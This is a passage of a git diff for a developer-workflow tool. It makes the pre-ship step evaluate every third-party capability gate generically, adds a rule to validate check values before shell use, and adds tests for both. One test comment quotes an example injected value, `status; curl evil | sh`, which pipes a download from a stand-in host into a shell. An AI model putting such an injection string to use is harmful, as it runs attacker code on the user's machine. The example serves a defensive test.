"?"' 2>/dev/null || echo '?') ``` - If no active security `ship:pre` gate hook is present (security enforcement off), skip this check silently. + - **`WINDOWS_OPEN_COUNT == "0"`** → `block: false`; the gate passes. + - **`WINDOWS_OPEN_COUNT` is a positive integer** → `block: true`, `WINDOWS_SHIP_GATE_OPEN`: + ``` + ⚠ Broken-windows ship gate: WINDOWS.md has {WINDOWS_OPEN_COUNT} open window(s). + Resolve each entry before shipping, or explicitly waive with a recorded reason: + gsd_run windows fixed # defect resolved + gsd_run windows waive "" # justified deferral (reason required) + Then re-run /gsd:ship. + ``` + - **`WINDOWS_OPEN_COUNT` is `"?"`, empty, or non-numeric** → **fail closed** with `block: true` and `WINDOWS_SHIP_GATE_READ_FAILED` (the gate is strict equality to `0`; never ship on an unreadable ledger): + ``` + ⚠ Broken-windows ship gate: could not read open_count from .planning/WINDOWS.md. + Inspect the file or run `gsd_run windows status --raw` to diagnose. The ledger + may be malformed; fix it before shipping (an unparseable ledger is a broken window). + ``` -7. **Broken-windows ship gate (capability-driven, issue #1950).** + The ledger is **optional and backward-compatible**: on a project where `gsd_run windows status` returns `open_count: 0` (no `.planning/WINDOWS.md` yet, or an empty ledger), the gate passes silently. It only blocks when at least one entry is `open`. - The `SHIP_PRE_HOOKS_JSON` resolved in step 6 already includes any `broken-windows` gate. Inspect `activeHooks` for an entry with `capId == "broken-windows"` and `kind == "gate"`: + - **Every other `capId`** — run the gate's own declared check through the generic evaluator. This arm is what makes a third-party capability's declared gate enforceable at all (#3559); before it existed, a gate whose `capId` was not named above was resolved and then silently dropped. - ```bash - WINDOWS_GATE_ACTIVE=$(printf '%s' "$SHIP_PRE_HOOKS_JSON" | jq -r \ - '.activeHooks[]? | select(.capId == "broken-windows" and .kind == "gate" and .blocking == true) | .capId' \ - 2>/dev/null | head -1) - ``` + ⚠ **Validate `check` before shell use** (third-party manifest input) — `loop-hook-dispatch.md` § `gate`. - If `$WINDOWS_GATE_ACTIVE` is non-empty, enforce the gate by reading the ledger's typed status. The ledger lives at the **project root** (cross-phase, not phase-scoped): - - ```bash - WINDOWS_STATUS_JSON=$(gsd_run windows status --raw 2>/dev/null || echo '') - WINDOWS_OPEN_COUNT=$(printf '%s' "$WINDOWS_STATUS_JSON" | jq -r '.ledger.open_count // "?"' 2>/dev/null || echo '?') - ``` - - - **`WINDOWS_OPEN_COUNT == "0"`** → gate passes; continue to the next preflight check. - - **`WINDOWS_OPEN_COUNT` is a positive integer** → block with `WINDOWS_SHIP_GATE_OPEN`: - ``` - ⚠ Broken-windows ship gate: WINDOWS.md has {WINDOWS_OPEN_COUNT} open window(s). - Resolve each entry before shipping, or explicitly waive with a recorded reason: - gsd_run windows fixed # defect resolved - gsd_run windows waive "" # justified deferral (reason required) - Then re-run /gsd:ship. - ``` - - **`WINDOWS_OPEN_COUNT` is `"?"`, empty, or non-numeric** → **fail closed and block** with `WINDOWS_SHIP_GATE_READ_FAILED` (the gate is strict equality to `0`; never ship on an unreadable ledger): - ``` - ⚠ Broken-windows ship gate: could not read open_count from .planning/WINDOWS.md. - Inspect the file or run `gsd_run windows status --raw` to diagnose. The ledger - may be malformed; fix it before shipping (an unparseable ledger is a broken window). + For a named-query gate (only a value that has passed validation is run): + ```bash + GATE_RESULT=$(gsd_run check ${hook.check.query} "${PHASE_DIR}" --raw) + CHECK_EXIT=$? ``` - The ledger is **optional and backward-compatible**: on a project where `gsd_run windows status` returns `open_count: 0` (no `.planning/WINDOWS.md` yet, or an empty ledger), the gate passes silently. The gate only blocks when at least one entry is `open`. + (The named-query argument convention — a single `"${PHASE_DIR}"` positional — mirrors `verify-work.md`'s `verify:pre` arm verbatim. No capability declares a `check.query` gate at `ship:pre` today; the arm exists so the documented check contract is complete rather than half-implemented.) - If no active `broken-windows` `ship:pre` gate hook is present (gate disabled via `workflow.windows_enforce=false`, the default — tracking continues but the gate is opt-in), skip this check silently. + For a `predicate` gate (ADR-2008 / #2008), serialize `hook.check.predicate` to compact JSON and pass it as a **single argv element**: + ```bash + GATE_RESULT=$(gsd_run check predicate --predicate '' --phase-dir "${PHASE_DIR}" --phase-number "${PHASE_NUMBER}" --raw) + CHECK_EXIT=$? + ``` + A gate carrying neither — including an `agentVerdict` check, which has no runner at `ship:pre` — cannot be evaluated here. Record a warning naming the `capId` and treat it as a check-command failure routed per step 1a, **never** as a silent pass. + + **Step 1a — did the CHECK COMMAND itself fail?** (non-zero `CHECK_EXIT`, empty output, or unparseable JSON). The two named branches above cannot reach this state — their failure modes are already folded into a fail-closed `block: true`. + - **`onError == "halt"`** → stop the ship. Do NOT push, do NOT create a PR. Surface: `⚠ Gate check command failed ({hook.capId}): command error. Resolve before shipping.` + - **`onError == "skip"`** → record a warning naming the `capId`, then continue to the next gate. Do NOT read `GATE_RESULT.block`. + + **Step 2 — read the gate's `block` decision.** Only reached when the check produced a verdict. + + - **`blocking == true` and `block == true`** → HALT the ship — do NOT push, do NOT create a PR — surfacing that gate's own message: + ``` + ⚠ Ship blocked by capability gate ({hook.capId}): {message} + ``` + This halt is **not** bypassed by `onError` — `onError` covers check-command failure (step 1a), never the gate's block decision. + - **`blocking == false`** (advisory) → never halts. If `block == true` or the result carries a non-empty message, print `⚠ {hook.capId} advisory: {message}`, then continue. + - **`blocking == true` and `block == false`** → continue silently. + + **When every active gate has been processed without a halt:** continue to the next preflight check. diff --git a/gsd-core/workflows/verify-work.md b/gsd-core/workflows/verify-work.md index 0e9c69153..21299bc6a 100644 --- a/gsd-core/workflows/verify-work.md +++ b/gsd-core/workflows/verify-work.md @@ -70,6 +70,8 @@ VERIFY_PRE_HOOKS_JSON=$(gsd_run loop render-hooks verify:pre --raw) PHASE_DIR=$(printf '%s' "$INIT" | jq -r '.phase_dir // empty') ``` +⚠ **Validate `check` before shell use** (third-party manifest input) — `loop-hook-dispatch.md` § `gate`. + Resolve active gate hooks from `VERIFY_PRE_HOOKS_JSON` where `kind == "gate"`. For each active gate hook, run its declared check (a `check.query` gate runs `gsd_run check ${hook.check.query} "${PHASE_DIR}" --raw`; a `predicate` gate diff --git a/tests/emitted-drift-acks/2818-ship-note-wedged-pr.json b/tests/emitted-drift-acks/2818-ship-note-wedged-pr.json index 344d90c1a..056bd09a2 100644 --- a/tests/emitted-drift-acks/2818-ship-note-wedged-pr.json +++ b/tests/emitted-drift-acks/2818-ship-note-wedged-pr.json @@ -1,6 +1,6 @@ { "version": 1, "paths": { - "ship.md": "#2783: the ship-note protocol adds a bounded merge-state poll and an empty recovery commit when a skip token leaves a PR blocked with no checks." + "ship.md": "#2783: the ship-note protocol adds a bounded merge-state poll and an empty recovery commit when a skip token leaves a PR blocked with no checks. #3559: the ship:pre preflight replaced two hardcoded capId arms (security, broken-windows) with a single generic loop over every active kind==\"gate\" entry, dispatching by check shape through the generic predicate evaluator (ADR-2008/#2008) and honoring each gate's own blocking/onError — the same dispatch contract execute:wave:post, execute:post and plan:post already implement and references/loop-hook-dispatch.md already specifies. Before this, a third-party capability's blocking ship:pre gate was resolved and evaluable and then silently dropped, so a phase shipped past its own declared gate with no warning. Growth is the generic two-step contract (command-failure routed per onError, then the block decision routed per blocking), the every-other-capId evaluator arm, and the empty-activeHooks and unsupported-check-shape arms; the two named branches are retained verbatim inside the loop so their fail-closed semantics are unchanged and no gate is enforced twice. The generic arm also carries the in-context validation contract loop-hook-dispatch.md mandates for ref.command: #3559 is the first time a THIRD-PARTY manifest string reaches a shell at ship:pre, and gates[].check is not one of the four executable surfaces the install consent prompt discloses, so an unvalidated check.query would be a consent-model bypass. 33726 -> 36784 bytes (+3058), DEFAULT tier, cap 40960." } } diff --git a/tests/emitted-drift-acks/3357-verification-resolver.json b/tests/emitted-drift-acks/3357-verification-resolver.json index ee79c443c..2153fe28a 100644 --- a/tests/emitted-drift-acks/3357-verification-resolver.json +++ b/tests/emitted-drift-acks/3357-verification-resolver.json @@ -2,7 +2,7 @@ "version": 1, "paths": { "verify-work.md": { - "reason": "#3357: the `03-VERIFICATION.md` staleness check now resolves the phase's own report via `gsd_run query verification.resolve-file \"$PHASE_DIR\" --raw` instead of `ls \"${PHASE_DIR}\"/*-VERIFICATION.md | head -1`, routing through the same shared resolver seam as transition.md so both call sites agree on which file is canonical. Growth is +13 bytes (38,983 -> 38,996), the delta between the old ls/head-1 pipeline and the gsd_run call." + "reason": "#3357: the `03-VERIFICATION.md` staleness check now resolves the phase's own report via `gsd_run query verification.resolve-file \"$PHASE_DIR\" --raw` instead of `ls \"${PHASE_DIR}\"/*-VERIFICATION.md | head -1`, routing through the same shared resolver seam as transition.md so both call sites agree on which file is canonical. Growth is +13 bytes (38,983 -> 38,996), the delta between the old ls/head-1 pipeline and the gsd_run call. #3559: the generic gate-dispatch arm gained the in-context validation contract for manifest-supplied check values. gates[].check is not one of the four executable surfaces the install consent prompt discloses, so a capability consented to as declarative-only could still reach a shell through an unvalidated check.query interpolated into a command substitution. The reference (references/loop-hook-dispatch.md) stated this requirement for step -> ref.command and omitted it for gate; that omission is the root cause and is now closed at the reference plus all four dispatch sites. Growth is one validation paragraph per site. 38996 -> 39107 bytes (+111)." } } } diff --git a/tests/emitted-drift-acks/3409-unreachable-guard-arms.json b/tests/emitted-drift-acks/3409-unreachable-guard-arms.json index 48ab1fdc9..9fd576dc4 100644 --- a/tests/emitted-drift-acks/3409-unreachable-guard-arms.json +++ b/tests/emitted-drift-acks/3409-unreachable-guard-arms.json @@ -1,12 +1,12 @@ { "version": 1, "paths": { - "gsd-phase-researcher.md": "#3409: guarded `cat \"$phase_dir\"/*-CONTEXT.md` against nullglob wiping the pattern to zero operands when no CONTEXT.md exists \u2014 a bare `cat` with no operands blocks reading stdin (hangs the agent) instead of the `2>/dev/null` guard ever firing, since a stalled read is not a failing exit. Now checks `${_CTX[0]}` is a real path before invoking cat. Growth is the array-guard idiom itself (+43 bytes).", - "gsd-verifier.md": "#3409: same nullglob-hang fix as gsd-phase-researcher.md, applied to `cat \"$PHASE_DIR\"/*-VERIFICATION.md` in Step 0 \u2014 an absent VERIFICATION.md previously left a zero-operand `cat` blocking on stdin instead of falling through to first-verification mode. Growth is the array-guard idiom (+49 bytes). \u2014 #3206 append (merged into this fragment because two ack sources may never name the same path): +52 bytes, 49098 -> 49150 (2 under the LARGE cap). The growth is the literal fix for the term 5b used undefined: the compressed explicit-evidence definition inlined at 5b (+34 net on the rewritten line \u2014 the trailing honest-verifier cite there is dropped as superseded by the inline definition; honest-verifier.md stays cited at 5c) plus gsd-core/ path-prefix repairs on the two 404ing bare references/ cites at 5c (honest-verifier.md) and the MVP-mode section (verify-mvp-mode.md) (+9 each). Lazy extraction remains untakeable in this change: the large extractable blocks are content-pinned by tests that read the agent file directly (tests/verifier-behavior-unverified.test.cjs, tests/verification-overrides.test.cjs), so extraction is its own coordinated change.", - "complete-milestone.md": "#3409: guarded `cat .planning/phases/*-*/*-SUMMARY.md` \u2014 with `shopt -s nullglob` active in this block's preamble (#2962), zero matching phase summaries collapses the glob to nothing and a bare `cat` blocks reading stdin rather than producing empty output, wedging the milestone-completion review. Growth is the array-existence-check idiom (+73 bytes, two glob segments makes this longer than the single-glob sites). \u2014 #2142 append (merged into this fragment because two ack sources may never name the same path): +1605 bytes, 40498 -> 42103. The `archive_milestone` step now documents the opt-in `--archive-quick` quick-task archival flag (default OFF, deliberately NOT symmetrical with phase archival's default-ON posture), folds the AskUserQuestion decision for it into the SAME `milestone.complete` invocation (avoiding a redundant second call), and states the known bucket-all provenance limit.", - "discuss-phase-assumptions.md": "#3409: replaced the unreachable `AUTO_MODE=$(gsd_run query check auto-mode --pick active 2>/dev/null || echo \"false\")` \u2014 `||` never fires because the query exits 0 with empty stdout when the field is absent, not a failure, so AUTO_MODE silently ended up empty rather than \"false\" \u2014 with a two-line capture-then-default (`AUTO_MODE=\"${AUTO_MODE:-false}\"`) that actually reaches the fallback. Growth is the extra default-assignment line (+19 bytes).", - "plan-phase.md": "#3409: three sites. `AUTO_CHAIN` and `PHASE_REQ_IDS` get the same unreachable-`||`-fallback fix as discuss-phase-assumptions.md (empty-but-successful `gsd_run query` output never triggered `|| echo`, now uses `${VAR:-default}`); `PRIOR_SUMMARIES` additionally swapped `gsd_run query phases.list --pick summaries_total` for `--type summaries --pick count` since the old pick key produced the same unreachable-fallback failure mode for the walking-skeleton check. Net growth across the three sites is +39 bytes. \u2014 #3576 append: bare `references/.md` cites repaired to the canonical `gsd-core/references/.md` form (+36 bytes, 4 cite(s) \u00d7 9). Dead-pointer fix; no content change.", - "session-report.md": "#3409: guarded `ls -la .planning/reports/SESSION_REPORT*.md 2>/dev/null || echo \"No previous reports\"` \u2014 with nullglob active, zero prior reports collapses the pattern to nothing and `ls -la` with no operands lists the current directory (a successful exit, wrong output) instead of failing into the `|| echo` fallback, so the report-existence check silently printed a directory listing. Replaced with an array-existence check that only lists when a real report file is present. Growth is the guard idiom (+58 bytes).", - "transition.md": "#3409: guarded `cat .planning/phases/XX-current/*-SUMMARY.md` \u2014 same nullglob-hang defect as complete-milestone.md's phase-summary read: zero summaries left a bare `cat` blocking on stdin instead of proceeding with no summary content during PROJECT.md evolution. Growth is the array-existence-check idiom (+73 bytes)." + "gsd-phase-researcher.md": "#3409: guarded `cat \"$phase_dir\"/*-CONTEXT.md` against nullglob wiping the pattern to zero operands when no CONTEXT.md exists — a bare `cat` with no operands blocks reading stdin (hangs the agent) instead of the `2>/dev/null` guard ever firing, since a stalled read is not a failing exit. Now checks `${_CTX[0]}` is a real path before invoking cat. Growth is the array-guard idiom itself (+43 bytes).", + "gsd-verifier.md": "#3409: same nullglob-hang fix as gsd-phase-researcher.md, applied to `cat \"$PHASE_DIR\"/*-VERIFICATION.md` in Step 0 — an absent VERIFICATION.md previously left a zero-operand `cat` blocking on stdin instead of falling through to first-verification mode. Growth is the array-guard idiom (+49 bytes). — #3206 append (merged into this fragment because two ack sources may never name the same path): +52 bytes, 49098 -> 49150 (2 under the LARGE cap). The growth is the literal fix for the term 5b used undefined: the compressed explicit-evidence definition inlined at 5b (+34 net on the rewritten line — the trailing honest-verifier cite there is dropped as superseded by the inline definition; honest-verifier.md stays cited at 5c) plus gsd-core/ path-prefix repairs on the two 404ing bare references/ cites at 5c (honest-verifier.md) and the MVP-mode section (verify-mvp-mode.md) (+9 each). Lazy extraction remains untakeable in this change: the large extractable blocks are content-pinned by tests that read the agent file directly (tests/verifier-behavior-unverified.test.cjs, tests/verification-overrides.test.cjs), so extraction is its own coordinated change.", + "complete-milestone.md": "#3409: guarded `cat .planning/phases/*-*/*-SUMMARY.md` — with `shopt -s nullglob` active in this block's preamble (#2962), zero matching phase summaries collapses the glob to nothing and a bare `cat` blocks reading stdin rather than producing empty output, wedging the milestone-completion review. Growth is the array-existence-check idiom (+73 bytes, two glob segments makes this longer than the single-glob sites). — #2142 append (merged into this fragment because two ack sources may never name the same path): +1605 bytes, 40498 -> 42103. The `archive_milestone` step now documents the opt-in `--archive-quick` quick-task archival flag (default OFF, deliberately NOT symmetrical with phase archival's default-ON posture), folds the AskUserQuestion decision for it into the SAME `milestone.complete` invocation (avoiding a redundant second call), and states the known bucket-all provenance limit.", + "discuss-phase-assumptions.md": "#3409: replaced the unreachable `AUTO_MODE=$(gsd_run query check auto-mode --pick active 2>/dev/null || echo \"false\")` — `||` never fires because the query exits 0 with empty stdout when the field is absent, not a failure, so AUTO_MODE silently ended up empty rather than \"false\" — with a two-line capture-then-default (`AUTO_MODE=\"${AUTO_MODE:-false}\"`) that actually reaches the fallback. Growth is the extra default-assignment line (+19 bytes).", + "plan-phase.md": "#3409: three sites. `AUTO_CHAIN` and `PHASE_REQ_IDS` get the same unreachable-`||`-fallback fix as discuss-phase-assumptions.md (empty-but-successful `gsd_run query` output never triggered `|| echo`, now uses `${VAR:-default}`); `PRIOR_SUMMARIES` additionally swapped `gsd_run query phases.list --pick summaries_total` for `--type summaries --pick count` since the old pick key produced the same unreachable-fallback failure mode for the walking-skeleton check. Net growth across the three sites is +39 bytes. — #3576 append: bare `references/.md` cites repaired to the canonical `gsd-core/references/.md` form (+36 bytes, 4 cite(s) × 9). Dead-pointer fix; no content change. #3559: the generic gate-dispatch arm gained the in-context validation contract for manifest-supplied check values. gates[].check is not one of the four executable surfaces the install consent prompt discloses, so a capability consented to as declarative-only could still reach a shell through an unvalidated check.query interpolated into a command substitution. The reference (references/loop-hook-dispatch.md) stated this requirement for step -> ref.command and omitted it for gate; that omission is the root cause and is now closed at the reference plus all four dispatch sites. Growth is one validation paragraph per site. 90516 -> 90627 bytes (+111).", + "session-report.md": "#3409: guarded `ls -la .planning/reports/SESSION_REPORT*.md 2>/dev/null || echo \"No previous reports\"` — with nullglob active, zero prior reports collapses the pattern to nothing and `ls -la` with no operands lists the current directory (a successful exit, wrong output) instead of failing into the `|| echo` fallback, so the report-existence check silently printed a directory listing. Replaced with an array-existence check that only lists when a real report file is present. Growth is the guard idiom (+58 bytes).", + "transition.md": "#3409: guarded `cat .planning/phases/XX-current/*-SUMMARY.md` — same nullglob-hang defect as complete-milestone.md's phase-summary read: zero summaries left a bare `cat` blocking on stdin instead of proceeding with no summary content during PROJECT.md evolution. Growth is the array-existence-check idiom (+73 bytes)." } -} \ No newline at end of file +} diff --git a/tests/loop-hooks-ship-pre-e2e.test.cjs b/tests/loop-hooks-ship-pre-e2e.test.cjs index c96808d97..05b3683fc 100644 --- a/tests/loop-hooks-ship-pre-e2e.test.cjs +++ b/tests/loop-hooks-ship-pre-e2e.test.cjs @@ -8,9 +8,13 @@ * - frontmatter get CLI subprocess (threats_open field contract) * - resolveLoopHooks pure-function with realRegistry (predicate.equals integer contract) * - * NOTE: ship:pre has NO runnable predicate evaluator — enforcement is ship.md prose only. - * The check.predicate shape is asserted here to pin the Hyrum's-law contract for downstream - * consumers (workflow prose, manual ship gate). This is a known robustness gap (kerckhoffs). + * NOTE (updated #3559): ship:pre now HAS a runnable evaluator. #2008/ADR-2008 shipped + * evaluatePredicate behind `gsd_run check predicate`, and #3559 wired ship.md's preflight + * onto it with a generic kind=="gate" dispatch loop, so a third-party capability's gate is + * evaluated instead of resolved-then-dropped. The check.predicate shape is still asserted + * here to pin the Hyrum's-law contract for downstream consumers. The former "prose only / + * known robustness gap (kerckhoffs)" note described the pre-#2008 state and is retired — + * section 5 below covers the dispatch contract and the evaluator it drives. * * Follows RULESET.TESTS (no source-grep, BVA at thresholds, genuine assertions). */ @@ -315,3 +319,464 @@ describe('real registry ship:pre — structural guards', () => { }); }); + +// ─── 5. ship:pre gate dispatch is generic, not a capId allowlist (#3559) ─────── +// +// #3559: ship.md's preflight resolved every active ship:pre gate and then enforced +// exactly two hardcoded capability IDs. A third-party capability's blocking gate was +// resolved, evaluable, and silently dropped — the ship proceeded past a failing gate +// with no evaluation and no warning. +// +// Two engines below, because the defect spans two surfaces: +// 5a. The DEPLOYED DISPATCH CONTRACT — ship.md's prose IS what the agent runtime +// loads and executes, so its text is the deployed behavior. This is the +// `source-text-is-the-product` exemption category, the sanctioned one for +// workflow markdown (CONTRIBUTING → "Exception: allow-test-rule"). +// 5b. The GENERIC EVALUATOR the contract now drives — ordinary behavioral +// subprocess tests. This machinery shipped in #2008/ADR-2008 and was never +// wired at ship:pre; these rows pin the contract the prose depends on. + +const SHIP_MD = path.join(__dirname, '..', 'gsd-core', 'workflows', 'ship.md'); + +// The repo's shared generic-gate-dispatch phrasing, used verbatim at execute:wave:post +// (execute-phase.md), execute:post (execute-phase.md) and plan:post (plan-phase.md). +// Matching the shared phrase — rather than an arbitrary literal — is what makes this a +// contract assertion: ship:pre either speaks the same dispatch language as its siblings +// or it is hand-rolling, which is precisely what references/loop-hook-dispatch.md forbids. +const GENERIC_GATE_LOOP = /For each active entry where\s+`kind == "gate"`/; + +/** + * Extract ship.md's region. + * + * Scoped deliberately: ship:post dispatch lives in a different step in the same file + * and is explicitly out of scope for #3559, so no assertion here may see it. + */ +function preflightRegion() { + // allow-test-rule: source-text-is-the-product (#3559) + // gsd-core/workflows/ship.md is shipped content executed by the agent runtime — its + // text is the deployed gate-dispatch contract, not an implementation detail behind it. + const src = fs.readFileSync(SHIP_MD, 'utf8'); + const open = src.indexOf(''); + assert.notStrictEqual(open, -1, 'ship.md must contain a preflight_checks step'); + const close = src.indexOf('', open); + assert.notStrictEqual(close, -1, 'preflight_checks step must be closed'); + return src.slice(open, close); +} + +describe('ship:pre gate dispatch contract (#3559)', () => { + + test('[regression] ship:pre preflight dispatches every active gate generically, not a capId allowlist', () => { + const region = preflightRegion(); + + assert.match( + region, + GENERIC_GATE_LOOP, + 'ship.md preflight must iterate EVERY active kind=="gate" entry using the same generic ' + + 'dispatch phrasing as execute:wave:post / execute:post / plan:post. Without it, a gate is ' + + 'enforced only when its capId happens to be named in this file, which is #3559.', + ); + }); + + test('[regression] capId arms are specializations inside the generic loop, never the sole gate selector', () => { + const region = preflightRegion(); + + const genericAt = region.search(GENERIC_GATE_LOOP); + assert.notStrictEqual(genericAt, -1, 'generic gate loop must be present (see previous test)'); + + const capIdSelectors = [...region.matchAll(/capId\s*==\s*"([a-z0-9-]+)"/g)]; + + for (const match of capIdSelectors) { + assert.ok( + match.index > genericAt, + `capId selector "${match[1]}" appears BEFORE the generic gate loop. A capId arm may only ` + + 'exist as a named specialization reached from inside the generic loop — a capId arm that ' + + 'runs first is a top-level allowlist, which drops every unlisted capability (#3559). ' + + 'Keeping every arm inside one loop is also what makes double-enforcement unrepresentable: ' + + 'each gate is visited exactly once.', + ); + } + }); + + test('[regression] preflight cites the generic predicate evaluator and the two-step onError contract', () => { + const region = preflightRegion(); + + assert.match( + region, + /gsd_run check predicate --predicate/, + 'preflight must dispatch predicate gates through the generic evaluator CLI (ADR-2008/#2008), ' + + 'not re-implement each capability\'s predicate inline', + ); + + // Two-step contract: step 1 is "did the CHECK COMMAND fail" (routed per onError); + // step 2 is "did the gate decide to block" (routed per blocking). Conflating them + // would let onError:"skip" silently disarm a blocking gate's block decision. + assert.match(region, /onError\s*==\s*"halt"/, 'preflight must handle onError=="halt" on command failure'); + assert.match(region, /onError\s*==\s*"skip"/, 'preflight must handle onError=="skip" on command failure'); + assert.match(region, /blocking\s*==\s*true/, 'preflight must branch on the gate\'s own blocking flag'); + assert.match(region, /blocking\s*==\s*false/, 'preflight must treat a non-blocking gate as advisory, never a halt'); + }); + + test('[regression] a catch-all arm handles every capId the named branches do not, and comes last', () => { + const region = preflightRegion(); + + // Adversarial-review finding: asserting only that the shared loop phrase and the + // evaluator substrings CO-OCCUR somewhere in the region is too weak. A partial + // regression that keeps the loop phrase but deletes the default arm — leaving prose + // that merely name-drops `gsd_run check predicate` and the onError/blocking words — + // would satisfy those assertions while silently reintroducing #3559. The load-bearing + // structure is a distinguishable DEFAULT branch, positioned after every named one. + const catchAll = region.search(/\*\*Every other `capId`\*\*/); + assert.notStrictEqual( + catchAll, + -1, + 'preflight must carry an explicit catch-all arm for every capId the named branches do not ' + + 'handle. Without it, dispatch is still an allowlist no matter how the loop is worded (#3559).', + ); + + const capIdSelectors = [...region.matchAll(/capId\s*==\s*"([a-z0-9-]+)"/g)]; + for (const match of capIdSelectors) { + assert.ok( + catchAll > match.index, + `the catch-all arm must come AFTER the named "${match[1]}" branch — a default placed ` + + 'before a specialization would swallow it, changing that gate\'s established semantics.', + ); + } + + // The catch-all is the arm that must reach the generic evaluator; a default branch that + // does not evaluate anything is the bug wearing a different shape. + const evaluatorAt = region.search(/gsd_run check predicate --predicate/); + assert.ok( + evaluatorAt > catchAll, + 'the generic predicate evaluator must be invoked from inside the catch-all arm, not merely ' + + 'mentioned somewhere earlier in the step', + ); + }); + + test('[security] the third-party check arm mandates validation before any shell use', () => { + const region = preflightRegion(); + + // #3559 made ship:pre reach THIRD-PARTY manifest strings for the first time — dispatch + // previously never left the two first-party arms. `gates[].check` is not one of the four + // executable surfaces the install consent prompt discloses (hooks, command modules, + // mcpServers, reviewer lanes), so a capability can be consented to as declarative-only + // and still reach a shell here. If this mandate is ever dropped, a manifest `check.query` + // of `status; curl evil | sh` is interpolated straight into a command substitution. + // + // The RULE itself (charset, in-context, single-argv) lives once in the reference and is + // asserted in section 6 — restating it at all five dispatch sites would recreate exactly + // the doc-vs-implementation drift this PR had to repair. + assert.match( + region, + /Validate `check` before shell use/, + 'the preflight must tell an executing agent to validate a manifest-supplied check before ' + + 'it reaches a shell', + ); + assert.match( + region, + /loop-hook-dispatch\.md/, + 'the mandate must point at the reference carrying the rule, so it is actionable', + ); + assert.match( + region, + /single argv element/, + 'the predicate arm must be passed as one argument, never re-quoted into a shell string', + ); + }); + + test('every capId named in ship:pre preflight declares a ship:pre gate in the registry', () => { + const region = preflightRegion(); + + const named = new Set([...region.matchAll(/capId\s*==\s*"([a-z0-9-]+)"/g)].map(m => m[1])); + const declared = new Set(realRegistry.byLoopPoint['ship:pre'].gates.map(g => g.capId)); + + for (const capId of named) { + assert.ok( + declared.has(capId), + `ship.md preflight names capId "${capId}" but no ship:pre gate declares it. Either the ` + + 'capability was renamed/removed and the workflow arm is now dead, or the arm is a typo — ' + + 'both mean that gate is silently unenforced.', + ); + } + }); + +}); + +// ─── 5b. Generic evaluator contract the ship:pre dispatch now drives (#3559) ── + +/** + * Build a temp GSD_HOME carrying a third-party overlay capability that declares one + * blocking ship:pre gate, plus a temp project with a phase artifact to evaluate against. + * + * GLOBAL scope (under GSD_HOME) is trusted without a consent record (ADR-1244 / #1459); + * PROJECT scope would require a consent-store entry, which is a different concern. + */ +function makeOverlayFixture(blockingOpenLine) { + const home = fs.mkdtempSync(path.join(os.tmpdir(), 'ship-pre-3559-home-')); + const capDir = path.join(home, '.gsd', 'capabilities', 'beads'); + fs.mkdirSync(capDir, { recursive: true }); + fs.writeFileSync(path.join(capDir, 'capability.json'), JSON.stringify({ + id: 'beads', + title: 'Beads', + version: '1.0.0', + role: 'feature', + tier: 'full', + description: 'Third-party capability declaring a blocking ship:pre gate (#3559 fixture).', + engines: { gsd: '>=1.7.0' }, + requires: [], + runtimeCompat: { supported: ['claude'], unsupported: [] }, + skills: [], + agents: [], + config: {}, + steps: [], + contributions: [], + gates: [{ + point: 'ship:pre', + check: { + predicate: { + kind: 'artifact-frontmatter-equals', + artifact: 'BEADS.md', + field: 'blocking_open', + equals: 0, + }, + }, + blocking: true, + onError: 'skip', + }], + }), 'utf8'); + + const project = makeTmpProject('ship-pre-3559-proj-'); + const phaseDir = path.join(project, '.planning', 'phases', '01-demo'); + fs.mkdirSync(phaseDir, { recursive: true }); + const frontmatter = blockingOpenLine === null ? 'diverged: 0' : `blocking_open: ${blockingOpenLine}\ndiverged: 0`; + fs.writeFileSync(path.join(phaseDir, '01-BEADS.md'), `---\n${frontmatter}\n---\n# Beads\n`, 'utf8'); + + return { home, project, phaseDir: path.join('.planning', 'phases', '01-demo') }; +} + +const BEADS_PREDICATE = JSON.stringify({ + kind: 'artifact-frontmatter-equals', + artifact: 'BEADS.md', + field: 'blocking_open', + equals: 0, +}); + +function runCheckPredicate(fixture, predicateJson) { + return runTools( + ['check', 'predicate', '--predicate', predicateJson || BEADS_PREDICATE, '--phase-dir', fixture.phaseDir, '--raw'], + { cwd: fixture.project, env: { GSD_HOME: fixture.home } }, + ); +} + +describe('ship:pre generic gate evaluation — third-party overlay gate (#3559)', () => { + + test('[happy] third-party artifact-frontmatter-equals gate blocks when the field diverges', (t) => { + const fx = makeOverlayFixture(5); + t.after(() => { cleanup(fx.home); cleanup(fx.project); }); + + const result = runCheckPredicate(fx); + assert.strictEqual(result.status, 0, `check predicate must exit 0 on a decisive verdict; stderr: ${result.stderr}`); + + const verdict = JSON.parse(result.stdout.trim()); + assert.strictEqual(verdict.block, true, 'blocking_open:5 against equals:0 must block'); + assert.strictEqual(verdict.details.match, false); + assert.strictEqual(verdict.details.actual, '5'); + assert.strictEqual(verdict.details.expected, 0); + assert.strictEqual(verdict.details.kind, 'artifact-frontmatter-equals'); + }); + + test('[bva:limit] third-party gate passes at exactly the equals value', (t) => { + const fx = makeOverlayFixture(0); + t.after(() => { cleanup(fx.home); cleanup(fx.project); }); + + const verdict = JSON.parse(runCheckPredicate(fx).stdout.trim()); + assert.strictEqual(verdict.block, false, 'blocking_open:0 against equals:0 must pass'); + assert.strictEqual(verdict.details.match, true); + }); + + test('[bva:limit+1] third-party gate blocks one past the equals value', (t) => { + const fx = makeOverlayFixture(1); + t.after(() => { cleanup(fx.home); cleanup(fx.project); }); + + const verdict = JSON.parse(runCheckPredicate(fx).stdout.trim()); + assert.strictEqual(verdict.block, true, 'blocking_open:1 must block'); + assert.strictEqual(verdict.details.actual, '1'); + }); + + test('[bva:limit-1] third-party gate blocks one below the equals value (strict equality, not <=)', (t) => { + const fx = makeOverlayFixture(-1); + t.after(() => { cleanup(fx.home); cleanup(fx.project); }); + + const verdict = JSON.parse(runCheckPredicate(fx).stdout.trim()); + assert.strictEqual(verdict.block, true, 'blocking_open:-1 must block — the predicate is equality, not a ceiling'); + assert.strictEqual(verdict.details.actual, '-1'); + }); + + test('[negative] absent frontmatter field fails closed', (t) => { + const fx = makeOverlayFixture(null); // artifact exists, blocking_open key absent + t.after(() => { cleanup(fx.home); cleanup(fx.project); }); + + const verdict = JSON.parse(runCheckPredicate(fx).stdout.trim()); + assert.strictEqual(verdict.block, true, 'an absent field is ambiguous and must never ship'); + assert.strictEqual(verdict.details.match, false); + }); + + test('[negative] malformed predicate exits non-zero so the workflow routes it per onError, not as a block', (t) => { + const fx = makeOverlayFixture(5); + t.after(() => { cleanup(fx.home); cleanup(fx.project); }); + + const result = runCheckPredicate(fx, JSON.stringify({ kind: 'no-such-predicate-kind' })); + + // The evaluator THROWS on an unknown kind; the CLI seam maps that to a non-zero exit. + // That is step 1 of the two-step gate contract 